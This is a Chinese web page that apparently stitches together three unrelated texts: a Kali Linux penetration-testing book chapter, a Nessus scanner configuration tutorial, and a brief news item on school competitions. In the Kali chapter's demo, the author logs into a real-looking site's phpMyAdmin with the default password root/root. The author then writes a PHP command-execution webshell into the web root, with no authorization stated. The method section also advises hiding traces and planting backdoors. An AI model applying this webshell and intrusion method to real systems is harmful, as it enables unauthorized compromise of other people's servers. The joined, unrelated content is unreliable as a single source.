模糊测试工具主要分为两类,变异测试(mutation-based)以及生成测试(generation-based)。模糊测试可以被用作白盒,灰盒或黑盒测试。 3文件格式与网络协议是最常见的测试目标,但任何程序输入都可以作为测试对象。常见的输入有环境变量,鼠标和键盘事件以及API调用序列。甚至一些通常不被考虑成输入的对象也可以被测试,比如数据库中的数据或共享内存。

参考: https://www.owasp.org/index.php/Fuzzing

OpenVAS 包含如下工具:

17182630-50fb6d30e73c4f328011142a1c59cc0

扩展—OpenVAS

OpenVAS是一款开放式的漏洞评估工具,主要用来检测目标网络或主机的安全性。与安全焦点的X-Scan工具类似,OpenVAS系统也采用了Nessus较早版本的一些开放插件。OpenVAS能够基于C/S(客户端/服务器),B/S(浏览器/服务器)架构进行工作,管理员通过浏览器或者专用客户端程序来下达扫描任务,服务器端负载授权,执行扫描操作并提供扫描结果。

参考: http://www.openvas.org/

开源评估软件包含如下工具:

17182642-686f7ec5b3ef4b0790d41c754a3d935

扫描工具集包含如下工具:

17182650-fe9dfb882e2b4834b36b47abe35ce96

数据库评估软件包含如下工具:

17182658-c5db5ae7b45e4389bc55a41fdaeacc0

Web程序

Web程序下主要包含CMS识别、IDS/IPS识别、Web漏洞扫描、Web爬行、Web应用代理、Web应用漏洞挖掘、Web库漏洞利用共7个类别。

17182714-2cff450a490e405c9dda5b855ca310e

密码攻击

密码攻击主要包括GPU工具集、Passing the Hash、离线攻击、在线攻击。

17182724-046c23f3069d4bcfa9ff063bd6c9415

扩展—Passing the Hash

Passing the Hash,中文一般翻译为Hash传递攻击。在windows系统中,系统通常不会存储用户登录密码,而是存储密码的Hash值。在我们远程登录系统的时候,实际上向远程传输的就是密码的Hash。当攻击者获取了存储在计算机上的用户名和密码的hash值 的时候,他虽然不知道密码值,但是仍然可以通过直接连接远程主机,通过传送密码的hash值来达到登录的目的。

无线攻击

无线攻击包含RFID/NFC工具集、Software Defined Radio、蓝牙工具集、其他无线工具、无线工具集。

17182735-34b07d4d51ac42d49308ce711f35a53

扩展-- Software Defined Radio

软件无线电(Software Defined Radio,SDR)是一种实现无线通信的新概念和体制。一开始应用在军事领域,在21世纪初,由于众多公司的努力,使得它已从军事领域转向民用领域,成为经济的、应用广泛的、全球通信的第三代移动通信系统的战略基础。

由于无线通信领域存在的一些问题,如多种通信体系并存,各种标准竞争激烈,频率资源紧张等,特别是无线个人通信系统的发展,使得新的系统层出不穷,产品生产周期越来越短,原有的以硬件为主的无线通信体制难以适应这种局面,迫使软件无线电的概念的出现。它的出现,使无线通信的发展经历了由固定到移动,由模拟到数字,由硬件到软件的三次变革。

参考: http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5

漏洞利用工具集

漏洞利用工具集,主要包含了几个流行的框架,和其他工具。

17182749-50b8c823d7d441e49b1e3475b289d9c

BeEF XSS Framework,官方站点 http://beefproject.com/。全称Browser Exploitation Framework,它是专注于 web浏览器的渗透测试框架。

Metasploit,官方站点 http://www.metasploit.com/。著名的渗透测试框架,是渗透测试人员的必修课。

嗅探/欺骗

嗅探、欺骗  包含VoIP、Web嗅探、网络欺骗、网络嗅探、语言监控五个工具集。

17182807-31d63185638c4f738bf06303942dc49

权限维持

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。

17182816-77a9bc8280b04d11bba77390e18b96b

其中Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。

逆向工程

逆向工程,包含了Debug工具集、反编译、其他逆向工具集三个子类。

17182825-7d09118d3ed24d669ec1d512dc9e4a4

压力测试

压力测试包含VoIP压力测试、Web压力测试、网络压力测试、无线压力测试四个子类。

17182835-055c578541614592af2d30190b85414

硬件Hacking

硬件Hacking包括Android工具集、Arduino工具集两个子类。

17182846-bb24fd176c6a466497969f102a603ec

数字取证

数字取证工具集包含PDF取证工具集、反数字取证、密码取证工具集、内存取证工具集、取证分割工具集、取证分析工具集、取证哈希验证工具集、取证镜像工具集、杀毒取证工具集、数字取证、数字取证套件。

17182853-b80f0e19069442d8bc0100ce974f981

报告工具集

报告工具集,主要用于生成、读取、整理渗透测试报告的工具,包含Domentation、媒体捕捉、证据管理。

17182902-fe21081d76bf4e0b80813465fa9040f

系统服务

系统服务是系统上的服务程序,包括BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。

默认情况下,网络和数据库服务是关闭的,需要重新开启。

17182911-5f0ba299e3d0418a9138e6c019a65f9

小结

上面对Kali Linux的默认工具集进行的了大致的浏览,由于本书只关注于渗透测试,对逆向工程、压力测试、硬件Hacking、数字取证这些工具不会涉及。

下一节介绍虚拟机下的系统安装和简单配置。

1.2 环境安装及初始化


在1.1节,我们大致了解了Kali Linux的内置工具集,本节主要介绍虚拟机下的系统安装。

如果您需要定制或者采用其他方式安装系统,请参考官方文档, http://cn.docs.kali.org/。官方文档内容大致如下图:

17184820-80a74906de1f4673b88c538b822c39d

KaliLinux官方文档(1)

17184826-1cc637e8547b48c9bc4706f34293f43

Kali Linux 官方文档(2)

1.2.1 下载映像

在地址http://www.kali.org/downloads/,我们可以看到网站提供32位和64位的ISO映像文件。

17184835-0697c96e86e8438099cfd8b9e17d70f

下载映像文件

根据实际情况选择你要下载的版本,我下载的是Kali Linux 64 Bit。

1.2.2 安装虚拟机

相对于VMWare,个人更喜欢VirtualBox,因为VirtualBox是开源、免费,比VMWare更轻量。

首先到 https://www.virtualbox.org/wiki/Downloads下载VirtualBox。我选择的是VirtualBox 4.3.4 for Windows hosts。

17184841-8a51452fd0924622b3ae4b5b71587d0

安装就很简单了,这里就不浪费篇幅了。

安装完成之后,打开VirtualBox,开始安装Kali Linux。

1.2.3 安装Kali Linux

打开VirtualBox之后,单击“新建”,打开新建虚拟机对话框。

17184848-8dbd92cb6fbe4d70847fbae8b46d5aa

新建虚拟机

名称随意填写,类型选择Linux,版本选择Debian或者Debian(64 bit),我安装64位版本,所以选择Debian(64 bit)。单击“下一步”。

17184855-7fce46a2408a4bc1bcd7f3ecb63dfc5

配置内存大小

内存大小,根据自己机器的内存选择配置就可以了,这里采用默认值。

下一步,配置虚拟硬盘。

17184902-731ee2674bf94ad0b45a88aef54d93d

配置虚拟硬盘

选择新建虚拟硬盘,单击“创建”。

17184908-646666a770ef4fa8a74ce2a51e81ff6

选择虚拟硬盘文件类型

虚拟硬盘文件类型,选择VDI类型。下一步。

17184914-1e30258c9bcd4ecea7dbf7e8a5587e9

虚拟硬盘物理存储

这里笔者选择固定大小。下一步,选择文件存储位置,设置磁盘大小。

17184924-992f4d35232247d7a4778e19e3ae1e8

选择文件存储位置

虚拟磁盘的大小,建议要大于8G,笔者使用默认的8G安装,结果中途失败,修改为20G后,安装成功。开始创建。

17184933-2f10971bad834104a126aa05f656bd3

经历一段时间等待(VirtualBox的虚拟磁盘创建速度确实不如VMWare),虚拟磁盘创建完毕。回到VirtualBox主界面,选择我们创建的虚拟机。单击上方的“设置”按钮。

17184940-486f10428b004886bd000bce80b6c1b

17184948-0e9d39fdf0a9404bace3acef1d4388d

选择“存储”选项卡。

17185004-804cf092a7a4437f869cbd528d1ab7f

接下来选中光驱。

配置光驱,加载安装映像文件。在分配光驱属性选择“第一IDE控制器主通道”,加载下载的Kali Linux ISO文件。

选择“网络”选项卡,配置为桥接模式。确定。

17185013-b713a74a8ebe4b5da2672241b94015e

配置网络为桥接模式

回到主界面,启动虚拟机,加载ISO。

17185023-adefbd710cbc458b9f970e2c8feea19

选择“Graphic install”,继续。

17185034-c79bc6956d854c679333c83bec90439

选择语言为中文简体。

17185044-cbe22f50cc31450ebce8f3091c0fc0a

 

选择区域为中国。

17185055-45f8c1624feb40c79510124b3303c07

配置键盘为“汉语”。

17185103-b55e519654494a86ac0489f89537f16

开始从光盘加载组件。

17185111-25a95e695726434d8d3c6506f8edf61

探测并配置网络。

17185120-980f888179de4179b972dc1764f0eac

配置主机名,根据自己的喜好配置就可以了。

17185129-0e846c785bc845bc86f2f449fa23e8b

配置域名,如果不在外网,域名随便配置就可以了。

17185138-327f6fd0dc5b478d9cc075cb63b535b

设置Root账户密码。

17185153-61a55cade88e40b692664ee279313d8

配置磁盘分区,这里和接下来的步骤,为简单起见,我们都选择非手工方式,选择“使用整个磁盘”。

17185201-ec9c732a1388462e8b2e9a7ac5f8649

只有一个磁盘,继续。

17185210-c553f19c74184e6a8b279a1cbe3724b

选择分区方案。

17185219-d5f242aec1b646c38eff8437d0a86e6

17185226-be5eaae68f5c4abeadea4e08a848071

确认分区方案。

17185234-1ba6398ba879419484dee9947a8c4b5

开始安装系统。

17185246-d2ee4ca9b1404595998d68c6e54e6dc

映像内容安装完成后,会提醒是否使用网络映像,如果处于联网状态,推荐使用,以便获取更新的内容。

17185255-0b3db3fba7e445b2b0842bd72f698da

安装完成后,点击继续,结束安装过程。虚拟机会重启进入Kali Linux。

1.2.4 安装中文输入法

在系统登录界面,选择你设置的域,输入用户名“root”,你先前配置好的密码,登录。

17185307-ca3f2e18d8764bfe8c6f6c43a5baf9b

系统默认是没有中文输入的,为使用方便,先安装中文输入法。

先执行 apt-get update 命令

17185316-a516eb09b60c42d4893623977940cf9

接下来执行

apt-get install fcitx 

17185323-5b6a3ba4ae2541d9aa5b870cf125857

安装成功后,执行

apt-get install fcitx-googlepinyin 

安装谷歌拼音输入法。

17185332-e311deecd0604b82ac9c2b200bc390b

重启系统。

17185340-8d11ea073cca47df9086e449a6c87c4

在屏幕顶部可以看到输入法配置图标,新建一个文档,用Ctrl+Shift,可以调出输入法。

1.2.5 安装VirtualBox增强工具

安装VirtualBox增强工具之后,虚拟机和宿主机之间就可以共享目录、共享剪贴板了。

首先启动Kali Linux虚拟机后,打开一个终端然执行如下命令来安装Linux内核头文件。

apt-get update && apt-get install -y linux-headers-$(uname -r) 

17185354-266008c8bf42435c89aaebddce9d37b

在虚拟机内部,按“键盘右侧的Ctrl+D”,会自动加载增强工具光盘映像,提示是否要自动运行,点击取消。

17185405-680e1626df414a0c8178943181b0b19

双击桌面上的光盘图标,打开后复制VboxLinuxAdditions.run到本地目录,例如/root/。或者在终端执行以下命令:

cp /media/cd-rom/VBoxLinuxAdditions.run /root/

17185416-ab03285ae1eb429792e04e1363fd713

接下来从终端进入文件所在目录,先修改文件权限,保证可以被执行。

chmod 755  VBoxLinuxAdditions.run 

执行:

./VBoxLinuxAdditions.run 

17185427-31ce1f1842cd4ce9baeef820f63dea6

关闭虚拟机。

1.2.6 配置共享目录和剪贴板

在virtualBox中选中虚拟机,点击“设置”,选择“共享文件夹”。

17185436-6a7fcba56cd140959519d90011df029

添加一个本地目录。

17185444-3b752eddb007447a8809d408f92ff2a

然后切换到“常规”,选择“高级”选项卡,配置剪贴板共享。

17185454-53cec11394b44a5ba1df39eeb2a9364

启动虚拟机。正常情况下,系统启动会自动挂载共享文件夹,在/media/目录下。

17185502-bcc1f49fde064087b78a1def6f9ff20

1.2.7 运行 Metasploit Framework

按照官方文档的说法,“依照Kali Linux网络服务策略,Kali没有自动启动的网络服务,包括数据库服务在内。所以为了让Metasploit以支持数据库的方式运行有些必要的步骤”。下面我们按照官方文档的说明,按部就班的操作一下。

启动Kali的PostgreSQL服务

执行命令:

service postgresql start 

17185514-c178fecba90d4ba5be04b9242fb0249

使用

ss –ant 

检查PostgreSQL的运行状态。

17185526-a6ad3594529e41859f2b558d1ab2a8c

如图,5432端口处于监听状态。

启动Kali的Metasploit服务

执行命令启动Metasploit服务:

service metasploit start 

17185535-12dba843ce8d43c2b78750e61a74b88

在Kali运行msfconsole

在终端执行 msfconsole,启动Metasploit客户端。

17185721-f8d806d23cb849fdad3f1df9e1117a6

然后在msf终端内,输入db_status,查看数据库状态。

17185737-770b98f6df5d4bb8bb3d41fa3f69dcd

小结


本节的内容主要是安装和基础配置,未涉及具体的工具级别的内容。目前环境准备完毕,是不是万事具备只欠东风了呢?

在讲解具体操作之前,我还是想先讲一讲有关渗透测试的方法论有关内容。由于本书的核心是实际操作,所以方法论的内容相对于相关书籍会极其简单,只是一个简单流程化的梳理。

1.3 渗透测试的一般化流程


凡事预则立,不预则废,做任何事情都要有一个预先的计划。渗透测试作为测试学科的一个分支,早已形成了完整的方法论。在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali Linux的基本方法。这里讨论方法论的目的有两个:

第一,在第一节里,我们看到Kali Linux集成了这么多工具,而且更令人欣喜的是已经对这些工具进行了专业的分类。这些工具的使用场景和使用阶段是什么样的呢?把工具拿来胡乱一顿扫描是不会有什么结果的。

第二,本书的章节规划,也需要一个规范,这个规范是我从渗透测试方法论中学来的,并进行了简化,称之为“渗透测试的一般化流程”。

当然本节内容不会长篇大论,也不适用于企业内部的专业的渗透测试团队来遵循。只是希望给初学渗透测试的同学一个入门的指引,有章可循,有法可依。只是学习本书的基本练习流程,不是标准的测试流程。

下面这这张图是《backtrack4 利用渗透测试保证系统安全》一书的Backtrack方法论。

17190331-34037156945745bda7c1466544de6e0

它将渗透测试分成了十个步骤,其中第6步“社会工程学”为可选步骤,但是笔者认为社会工程学在渗透测试的任何一个流程中都有用武之地,它是安全测试的一个方法,不应该成为一个单独的流程。

在本书中,我们将整个过程划分为5个步骤。

1.3.1 信息搜集

在练习过程中,选择目标的过程,读者自行完成。在讲解具体漏洞攻击的章节中,还会讲解一些如何快速查找特定目标的方法。本书假定读者已经准备好了测试目标才阅读和实践书中内容,所以流程的第一步为信息搜集。

在这一步中,我们尽可能的使用多种信息搜集工具,包括搜索引擎和社会工程学方法。对能收集到的信息,来者不拒。

只有建立在足够信息分析的基础上,渗透测试才能游刃有余。因为信息越多,发现漏洞的几率越大。

同时对不同应用的信息收集的侧重点也不同。比如web应用和桌面应用,对于web应用,服务器操作系统、web服务器类型、web后台语言会被首先关注;而对于桌面应用,更多的是关心应用程序本身。

1.3.2 发现漏洞

在搜集了足够的信息之后,首先我们要判断它会存在哪些漏洞。这可以通过搜索引擎,和通用的漏洞扫描工具来完成。通常使用搜索引擎是明智的选择,比如我们在第一步中知道对方站点的编写语言为php 5.3.*,可以在google搜索“php 5.3”漏洞。

17190339-26ce9e46f8364eee9b3757b0de43b8d

很多专业的bug站点的信息,更值得我们驻足。这样我们就可以针对性的进行漏洞扫描。此时使用专门的漏洞扫描工具比通用工具来得更实际和高效。

1.3.3 攻击

基本上,你能得到的漏洞,都可以找到对应的攻击方法。Kali Linux中也提供了很多现成的工具,来帮助我们顺利的攻击目标。

这一步包含两个方面,一个是利用现有漏洞利用,一个是提权。二者有时候是一回事,比如权限漏洞。

渗透测试和以破坏为目的的黑客行为还是有区别的,测试的目的是证明漏洞的存在,而不是搞破坏。所以有时候攻击成功之后可能测试任务就结束了,当然这和测试目标是紧密相关的。

攻击还包含一个重要的内容,就是如何隐藏攻击行为或者清除攻击痕迹。让对方无法或者说很难通过反追踪技术查找到攻击者。

1.3.4 权限维持

权限维持阶段,是我们成功攻破一个系统后,如何继续保持对系统的控制权限的问题。

一般会创建高权限的隐藏账户,或者安装后门程序(包括木马,病毒)。

1.3.5 文档化

文档化不是本书的强制流程,但是笔者强烈建议我们对每次渗透测试的过程和结果进行文档化处理。这样会形成知识的积累。当然如果你是专业的渗透测试工程师或者手上有渗透测试的项目,那么标准化文档是必不可少的。

小结

本节所讲解的流程不是标准的渗透测试流程,是本书的教学实践简化流程,读者要区别对待。

下一节,是本章的最后一节,以一个小例子来体验Kali Linux的渗透测试,来提升大家的兴趣。

1.4 小试牛刀


本节作为第一章的最后一节,给大家展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是为了给您一个整体上的感知,同时提升学习渗透测试的兴趣。渗透测试的每一步并没有记录完整的细节信息。

首先,我选择了一个测试站点,下面对该站点www.xxxxoooo.cn,下面对其进行渗透测试。

1.4.1 信息搜集

whois查询

因为是cn域名,直接到 http://ewhois.cnnic.net.cn查询,更方便。

结果如下:

20181443-ee3d50c208fd40d9a3e4d80a8535443

服务指纹识别

很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。

20181450-5716bced42ee40e0b06a096c583ac2d

通过上图,我们知道该站点的应用程序由php编写,web服务器为Apathe/2.2.22,操作系统为Ubuntu。

下面我们通过指纹识别工具,进行识别。

在终端启动nmap,输入如下命令:

nmap -A -T4 www.xxxxoooo.cn 

20181456-f6194206e0434daf9c3301c47199996

如图,识别出来的服务和系统信息与报错信息一致。

端口扫描

在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。

nmap -sS <targetiste> 

20181503-ae3905c582194f8d8fcc02a9b8a75b8

综合性扫描

该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。

因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。

1.4.2 发现漏洞

对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。

从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin 默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?

20181509-e1a9ca8bf4814d5086b7283f8d0266a

ok,确实存在phpmyadmin。

继续google “phpmyadmin 默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。

继续 Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。

20181517-35921403f19048f7ae4defdf889e25a

20181526-1449e8a568064e3fbe9a8c251f52071

这些文章略过,google“hack phpmyadmin”,看看有什么发现?

在这篇文章《Hacking PHPMyadmin (when import.php deleted)》( https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到

20181536-9ffda7ad1aaa4b34ab34ff34ede222d

很多站点都配置默认密码为root。是不是也可以尝试下呢?

输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。 20181543-656f44b72bc44514a5eedbcbddccf45

进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础

1.4.3 攻击与权限维持

上面的步骤,我们完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。

如何利用phpmyadmin进行提权,从而得到服务器的控制权呢?

目前在phpmyadmin后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?

首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。

20181626-57c55b846c11467fa5b8fd1425eee41

语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。

INSERT INTO hacker (packet)  VALUES( '<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'   );  

20181634-8b3a0db49bbc4586b46feea26b00726

下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。

20181642-107d3b9ff1c34775a295404118ffb92

404链接的路径是 http://www.xxxxx.cn/var/www/productions/22_production.zip。这个是进行网站开发时候常犯的静态链接的错误,那是不是说网站的根目录在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常访问。其实这也是ubuntu默认的站点目录。接下来就试试有没有权限保存文件了。

经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。

小结

这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。

从下一节开始,我们正式进入渗透测试的学习之旅。

 

Nessus漏洞扫描教程之配置Nessus - yxwkaifa - 博客园

$
0
0

Nessus漏洞扫描教程之配置Nessus

配置Nessus

当安装成功Nessus工具后。就可以使用该工具实施漏洞扫描。为了使用户更好的使用该工具,将介绍一下该工具的相关设置。如服务的启动、软件更新、用户管理等。本节将对Nessus服务配置进行简介。

启动Nessus服务

Nessus服务安装后。默认是自己主动启动的。假设用户重新启动系统,获取进行其他操作时。将Nessus服务关闭的话。则再次訪问必需要先启动该服务。

以下将分别介绍在不同操作系统中,启动Nessus服务的方法。

1.Windows下启动Nessus服务

在Windows下启动Nessus服务的方法例如以下所看到的:

(1)打开Windows系统的服务窗体。在Windows系统的启动菜单条中单击“执行”命令,将弹出“执行”对话框,如图1.22所看到的。


图1.22  执行对话框

(2)在该对话框中输入“services.msc”,然后单击“确定”button,将打开“服务”窗体,如图1.23所看到的。


图1.23  服务窗体

(3)在该界面的名称列找到“Tenable Nessus”服务。就可以管理该服务,如停止、启动或又一次启动等。

在Windows中,也能够通过命令行停止或启动Nessus服务。比如。停止Nessus服务。运行命令例如以下所看到的:

  • C:\Users\Administrator>net stop "Tenable Nessus"
  • Tenable Nessus 服务正在停止.
  • Tenable Nessus 服务已成功停止。

从以上输出信息中,能够看到Nessus服务已成功停止。假设启动Nessus服务,运行命令例如以下所看到的:

  • C:\Users\Administrator>net start "Tenable Nessus"
  • Tenable Nessus 服务正在启动 .
  • Tenable Nessus 服务已经启动成功。

从以上输出信息中,能够看到Nessus服务已成功启动。

2.Linux下启动Nessus服务

在Linux下启动Nessus服务。运行命令例如以下所看到的:

  • [root@Server ~]# service nessusd start
  • 启动 Nessus 服务:                                         [确定]

从以上输出信息中,能够看到Nessus服务已成功启动。

假设用户不确定该服务是否启动的话。能够使用下面命令查看其状态。例如以下所看到的:

  • [root@Server ~]# service nessusd status
  • nessusd (pid 5948) 正在执行...

从以上输出信息中,能够看到Nessus服务正在执行。

Nessus软件更新

为了可以使用Nessus进行一个成功的漏洞扫描。在扫描之前检查而且更新Nessus,使用最新的插件是很重要的。这样可以保证扫描到全部最新的漏洞。以下将以Windows操作系统为例,介绍更新插件的方法。

1.在线更新

【演示样例1-3】在Windows下更新Nessus中的插件。详细操作过程例如以下所看到的:

(1)登录Nessus服务。在Windows中的浏览器地址栏输入https://IP:8834/地址。将打开如图1.24所看到的的界面。


图1.24  证书不被信任

(2)在该界面选择“继续浏览此站点(不推荐)”选项。将打开如图1.25所看到的的界面。


图1.25  登录界面   图1.26  Nessus登录界面

(3)在该界面输入用于管理Nessus服务的username和password。然后。单击Sign Inbutton。

登录成功后。将显示如图1.26所看到的的界面。

(4)在该界面单击右上角后面的小三角。将会弹出一个菜单条,如图1.27所看到的。在该菜单条中,单击Settings命令,将打开设置界面。如图1.28所看到的。


图1.27  菜单条                                       图1.28  设置界面

(5)从该界面左側栏中,能够看到有两个子选项,即Overview(概述)和Software Update(软件更新)选项。图1.28中,显示的是Overview选项中的信息。

当中。包含Nessus版本号、连接时间、平台、近期更新时间、激活码等。假设要进行软件更新,则选择Software Update选项,将显示如图1.29所看到的的界面。


图1.29  软件更新 图1.30  手动更新软件

(6)从该界面能够看到在Automatic Updates(自己主动更新)以下有三种更新方式,各自是 Update all components(更新全部组件)、Update plugins(更新插件)和Disabled(禁止更新)。用户能够选择不论什么一种更新方式。并且,Nessus还提供了一种自己定义插件更新方式。用于针对特定的主机。比如。更新IP地址为192.168.1.100主机提供的插件。则在Custom Host相应的文本框中输入地址192.168.1.100。假设用户不希望自己主动更新的话。还能够进行手动更新。在该界面单击右上角的Manual Software Update(手动更新)button,将显示如图1.30所看到的的界面。

(7)这里也提供了三种更新方式,各自是Update all components(更新全部组件)、Update plugins(更新插件)和Upload your own plugin archive(上传自己的插件文档)。用户选择想要的更新方式后。单击Continuebutton,就可以開始更新。更新完毕后。右上角(铃铛)图标处会提示更新成功,如图1.31所看到的。


图1.31  软件更新成功    图1.32  生成挑战码 

2.离线更新

以上的更新方式属于在线更新。

使用这样的方式更新的话。必需要确定自己的网络一直处于正常状态。假设用户不能确认自己网络的话能够使用离线更新方式。

这样的方式不需要Nessus系统连接必须连接到互联网。以下将介绍离线更新的方式。

【演示样例1-4】以下将以Windows 7操作系统为例,介绍离线更新插件的方法。

(1)获取一个激活码。因为获取的激活码,仅仅能使用一次。所以。假设再次激活服务。须要又一次获取一个激活码。

(2)生成一个挑战码。运行命令例如以下所看到的:

  • C:\Program Files\Tenable\Nessus> nessuscli.exe fetch --challenge

运行以上命令后,显示效果如图1.32所看到的。

提示:假设是在Linux系统中的话,运行命令例如以下所看到的:

  • [root@localhost ~]# /opt/nessus/sbin/nessuscli fetch --challenge

(3)从上图中能够看到生成了一个激活码。接下来,就能够离线下载Nessus插件了。

当中,下载地址为https://plugins.nessus.org/v2/offline.php。在浏览器中成功訪问该地址后,将显示如图1.33所看到的的界面。

(4)在该界面的第一行文本框中输入步骤(2)中获取到的挑战码,第二行文本框中输入获取到的激活码。然后,单击Submitbutton。就可以開始下载插件。

在该界面获取到的是6.3及更新的插件。假设用户想要获取版本号为6.3之前插件的话,在单击图中箭头指的here命令,将会跳转到还有一个页面,如图1.34所看到的。


图1.33  离线下载插件    图1.34  下载旧版本号的插件

(5)该界面和图1.31显示的内容是一样的。这里相同输入生成的挑战码和激活码。就可以获取旧版本号的插件。

Nessus中用户管理

用户管理是Nessus额外提供的一种功能。在一个大型企业环境中。或使用Nessus的人比較多时,对用户进行管理是很实用的。当在这样的情况下使用Nessus扫描时,管理员能够为多个扫描用户设置不同的安全级别。

Nessus提供了两种不同的用户角色,各自是Administrator(管理员)和Standard(普通用户)。

当中,Administrator角色的用户能够訪问Nessus中的全部功能;Standard角色的用户对部分功能是受限制的,如软件更新、用户管理及高级设置等。以下将介绍对Nessus中用户管理的方法。

1.新建用户

在Nessus的设置界面选择Accounts选项卡,将显示如图1.35所看到的的界面。


图1.35  账户设置界面 图1.36  新建用户

在该界面单击右上角的New Userbutton,将打开如图1.36所看到的的界面。

在该界面输入要创建的username和password。User Role相应的文本框有两个选项。各自是Standard和System Administrator。当中。Standard选项表示创建的用户为普通用户;System Administrator选项表示创建的用户为管理员用户。然后单击Savebutton,将看到如图1.37所看到的的界面。


图1.37  用户界面   图1.38  删除用户

从该界面能够看到成功创建了名为user用户,类型为Standard。

2.删除用户

当Nessus扫描不须要某用户时,就可以将该用户删除。详细方法例如以下所看到的:

(1)打开用户设置界面,如图1.31所看到的。

(2)在该界面选择要删除的用户,然后,单击username后面的(错号)图标就可以删除用户。或者,勾选username前面的复选框。

此时,在搜索框的左側将会出现一个Deletebutton,如图1.38所看到的。然后,单击Deletebutton,将显示如图1.39所看到的的界面。


  图1.39  确认删除用户 图1.40  编辑用户界面

该界面提示是否确定要删除该用户。

假设确认没问题。则单击Deletebutton,就可以成功删除该用户。

3.改动已存在用户角色

在用户界面(图1.31)中单击要改动角色的用户。就可以改变用户的角色。比如。编辑user用户。在用户界面单击user用户后。将显示如图1.40所看到的的界面。

从该界面能够看到user用户的角色为Standard。这里单击User Role相应文本框后面的小三角。就可以选择要改动角色。

比如。改动为System Administrator角色。将显示如图1.41所看到的的界面。


图1.41  改动用户角色 图1.42  改动password

此时,用户角色已成功改动。接下来。须要单击Savebutton保存设置。

否则,设置无效。

4.改动用户password

改动password也是在用户设置界面改动的。相同,单击想要改动password的用户。然后。单击左側栏中的Change Password选项卡,将显示如图1.42所看到的的界面。

在该界面输入要又一次设置的新password。然后单击Savebutton。就可以成功改动其用户password。

Nessus中通讯设置

这里的通讯设置指的是设置选项中的Communication选项卡。在该选项卡设置中,包含两个设置选项,各自是Proxy Server和SMTP Server。以下分别介绍这两种服务的设置方式。


图1.43  Proxy Server设置界面   图1.44  SMTP服务设置界面 

1.Proxy服务

Proxy(代理)服务用于转发HTTP请求。假设网络组织须要时。Nessus将使用该设置实现插件更新,并与远程扫描者进行通信。以下将介绍Proxy服务的设置方法。

例如以下所看到的:

(1)在设置界面选择Communication选项卡,将显示如图1.43所看到的的界面。

从该界面能够看到,这里共同拥有五个字段。可是,仅仅有Host和Port字段是必须的。Username、Password和User-Agent三个字段是可选的。以下将分别介绍每一个字段的含义,例如以下所看到的:

  • q  Host:代理server的主机名名或IP。
  • q  Port:代理server连接的port号。

  • q  Username:代理server连接的username。
  • q  Password:代理server连接的usernamepassword。

  • q  User-Agent:假设代理server使用指定HTTP用户代理过滤器的话,则设置该字段。

    该字段主要用于自己定义用代理字符串时使用。

2. SMTP服务

SMTP(Simple Mail Transfer Protocol。简单邮件传输协议)是用于发送和接收邮件的标准。一旦配置了SMTP服务。Nessus会将扫描结果通过邮件的形式发送到“Email Notifications”选项指定的收件人。当中,SMTP服务的设置界面如图1.44所看到的。

以下将对SMTP服务设置界面的每一个字段进行具体介绍。

例如以下所看到的:

  • q  Host:SMTP服务的主机名或IP地址。
  • q  Port:用于连接SMTP服务的port号。
  • q  From(sender email):发送扫描报告的邮件地址。

  • q  Encryption:使用哪种加密方式加密邮件内容。Nessus提供了三种方式,各自是Force SSL、Force TLS和Use TLS if available。默认。不使用加密(No Encryption)。
  • q  Hostname(for email links):Nessus服务的主机名或IP地址。

  • q  Auth Method:SMTP服务认证方法。

    Nessus提供了五种认证方法,各自是PLAIN、LOGIN、NTLM和CRAM-MD5。默认,没有使用认证方法,即NONE。

  • q  Username:用于认证SMTP服务的username
  • q  Password:用于认证SMTP服务用户相应的password。

提示:在SMTP服务设置界面,假设没有使用不论什么认证方法的话,将不会出现Username和Password字段。

本文选自:Nessus漏洞扫描基础教程大学霸内部资料,转载请注明出处,尊重技术尊重IT人!

收藏!中小学生全国性竞赛只有这29项(附名单)

$
0
0

IT之家4月13日消息 日前,教育部办公厅公布2019年度面向中小学生开展的全国性竞赛活动名单,明确全国类竞赛只有29项。各地要加强监管,打击各类违规竞赛活动。

教育部明确,除本次公布的竞赛活动以及根据教育教学需要,由教育部按规定组织开展的竞赛活动以外,其他所谓全国性竞赛包括通过网络形式举办的全国性竞赛均不合规,不得在任何区域内实施。

